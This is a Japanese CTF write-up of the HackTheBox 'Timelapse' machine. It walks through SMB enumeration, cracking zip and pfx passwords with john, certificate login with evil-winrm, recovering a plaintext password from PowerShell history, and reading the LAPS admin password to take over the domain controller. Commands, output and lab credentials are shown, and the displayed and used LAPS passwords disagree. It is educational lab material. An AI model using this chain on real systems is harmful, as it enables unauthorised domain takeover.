🥝

【HackTheBox】Timelapse Writeup

2024/02/29に公開

Recon

nmap

PORT     STATE SERVICE           REASON  VERSION
53/tcp   open  domain            syn-ack Simple DNS Plus
88/tcp   open  kerberos-sec      syn-ack Microsoft Windows Kerberos (server time: 2024-02-28 09:49:23Z)
135/tcp  open  msrpc             syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn       syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap              syn-ack Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?     syn-ack
464/tcp  open  kpasswd5?         syn-ack
593/tcp  open  ncacn_http        syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?          syn-ack
3268/tcp open  ldap              syn-ack Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl? syn-ack
5986/tcp open  ssl/http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open  mc-nmf            syn-ack .NET Message Framing

わかったこと:
・smbが開いている
・web interfaceがない
・active directoryが使われている
・winrmが使えそう

smb

smbmap
smbclientではnull sessionでいけたけど、なぜかsmbmapでは-uをつけないとエラーが出る。
https://github.com/ShawnDEvans/smbmap/issues/29

┌──(kali㉿kali)-[~/htb/timelapse]
└─$ smbmap -H 10.10.11.152 -u xxx                               
               
[+] IP: 10.10.11.152:445        Name: 10.10.11.152              Status: Authenticated
Disk                                          Permissions     Comment
----                                          -----------     -------
ADMIN$                                        NO ACCESS       Remote Admin
C$                                            NO ACCESS       Default share
IPC$                                          READ ONLY       Remote IPC
NETLOGON                                      NO ACCESS       Logon server share 
Shares                                        READ ONLY
SYSVOL                                        NO ACCESS       Logon server share 

Sharesを見てみます。

smbclient \\\\10.10.11.152\\Shares -N
Try "help" to get a list of possible commands.
smb: \> ls
  Dev                                 D        0  Mon Oct 25 15:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 11:48:42 2021

Devにはバクアップファイル、helpdeskにはLAPS関連のファイルがありました。

smb: \dev\> ls
  winrm_backup.zip                    A     2611  Mon Oct 25 11:46:42 2021

smb: \helpdesk\> ls
  LAPS.x64.msi                        A  1118208  Mon Oct 25 10:57:50 2021
  LAPS_Datasheet.docx                 A   104422  Mon Oct 25 10:57:46 2021
  LAPS_OperationsGuide.docx           A   641378  Mon Oct 25 10:57:40 2021
  LAPS_TechnicalSpecification.docx      A    72683  Mon Oct 25 10:57:44 2021

boxの名前(timelapse)とLAPSがインストールされていることを考えると権限昇格の時はLAPSの情報を使うでしょう。
とりあえず全てのファイルをローカルにダウンロードします。

zip file password cracking

winrm_backup.zipをunzipするにはパスワードが必要なので、johnでクラックします。

zip2john winrm_backup.zip > ziphash
john ziphash --wordlist=/usr/share/wordlists/rockyou.txt

パスワードはsupremelegacyでした。

pfx file password cracking

unzipするとpfxファイルが出てきました。

┌──(kali㉿kali)-[~/htb/timelapse]
└─$ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
  inflating: legacyy_dev_auth.pfx

keyとcertificateを抽出しようとしたらまたパスワードを求められました。今回もjohnでクラックします。

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
Enter Import Password:
Mac verify error: invalid password?
pfx2john legacyy_dev_auth.pfx > pfxhash
john pfxhash --wordlist=/usr/share/wordlists/rockyou.txt

パスワードはthuglegacyでした。これでkeyとcertificateを出します。

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt

Shell as legacyy

Shell with evil-winrm

winrmはcertificatで認証できるみたいなので、evil-winrmでシェルを取ります。winrmのポートは5986なので-Sオプションを付けてsslを使います。
https://medium.com/r3d-buck3t/certificate-based-authentication-over-winrm-13197265c790

evil-winrm -i 10.10.11.152 -c cert.crt -k priv-key.pem -S

これでlegacyyのシェルが取れました。

*Evil-WinRM* PS C:\Users\legacyy\desktop> type user.txt

manual enumeration

PowerViewとwinPEASを使おうとしたが、ブロックされて実行できませんでした。自分でコマンドを叩くしかない。
powershellの履歴を見てみます。

(Get-PSReadLineOption).HistorySavePath
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt
*Evil-WinRM* PS C:\Users\legacyy\AppData\roaming\microsoft\windows\powershell\PSReadline> ls
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         3/3/2022  11:46 PM            434 ConsoleHost_history.txt

*Evil-WinRM* PS C:\Users\legacyy\AppData\roaming\microsoft\windows\powershell\PSReadline> cat ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

ユーザーsvc_deployのパスワードがありました。crackmapexecで確認します。

crackmapexec smb 10.10.11.152 -u svc_deploy -p "E3R\$Q62^12p7PLlC%KWaxuaV"

SMB         10.10.11.152    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

Pwn3d!が出てなくてSMB経由でシェルが取れなさそうなので、さっきと同じでevil-winrmでシェルを取ります。

Shell as svc_deploy

evil-winrm -i 10.10.11.152 -u svc_deploy -p "E3R\$Q62^12p7PLlC%KWaxuaV" -S

svc_deployのグループを確認します。

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                          Attributes
=========================================== ================ ============================================ ==================================================
Everyone                                    Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
TIMELAPSE\LAPS_Readers                      Group            S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

svc_deployはLAPS_Readersグループに入っていますのでLAPSのパスワードをreadしてみます。
まずはLAPSがインストールされていることを確認します。

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd
    AdmPwdEnabled    REG_DWORD    0x1

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> dir 'C:\Program Files\LAPS\CSE\'
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         5/5/2021   7:04 AM         184232 AdmPwd.dll

LAPS read password powershell pentestで検索したら使えそうなコマンドがありました。AD内にms-Mcs-AdmPwd attributeを持っているコンピューターを探してその値を出すコマンドです。
https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/laps

Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd'

Name ms-Mcs-AdmPwd
---- -------------
DC01 WBT22#X6F0&Hw-O7v92A2#lJ
Get-ADComputer -Filter 'ObjectClass -eq "computer"' -Property *

パスワードが出力されました。ではcrackmapexecで確認します。

crackmapexec smb 10.10.11.152 -u Administrator -p ",w\$4.5o41X+}BH/6H6\$Y2]-f"
SMB         10.10.11.152    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\Administrator:,w$4.5o41X+}BH/6H6$Y2]-f (Pwn3d!)

Pwn3d!が出ているのでこれで大丈夫そうですね。

Shell as Administrator

ではAdministratorのシェルを取ります。

impacket-wmiexec Administrator:",w\$4.5o41X+}BH/6H6\$Y2]-f"@10.10.11.152

C:\>whoami
timelapse\administrator

なぜかadministratorのデスクトップにroot.txtがなかったので、探します。

c:\users>where /R C:\users\ root.txt
C:\Users\TRX\Desktop\root.txt

TRXのデスクトップにありました。

Memo

Bloodhound

bloodhoundも実行してみました。laps_readersのReadLAPSPassword権限が表示されていました。

Other Ways to Read LAPS Password

pyLAPS.py

pyLAPS.pyを使えばkaliからLAPSのパスワードをreadできます。
https://github.com/p0dalirius/pyLAPS

┌──(kali㉿kali)-[~/tools]
└─$ python3 pyLAPS.py --action get -d "dc01.timelapse.htb" -u "svc_deploy" -p "E3R\$Q62^12p7PLlC%KWaxuaV" --dc-ip 10.10.11.152
                 __    ___    ____  _____
    ____  __  __/ /   /   |  / __ \/ ___/
   / __ \/ / / / /   / /| | / /_/ /\__ \   
  / /_/ / /_/ / /___/ ___ |/ ____/___/ /   
 / .___/\__, /_____/_/  |_/_/    /____/    v1.2
/_/    /____/           @podalirius_           
    
[+] Extracting LAPS passwords of all computers ... 
  | DC01$                : WBT22#X6F0&Hw-O7v92A2#lJ

crackmapexec

crackmapexecも使えるはず(なぜかこのboxではldapに繋がらないエラーが出ますが、、)

crackmapexec ldap 10.10.11.152 -u 'svc_deploy' -p "E3R\$Q62^12p7PLlC%KWaxuaV" -M laps

https://www.thehacker.recipes/a-d/movement/dacl/readlapspassword

Discussion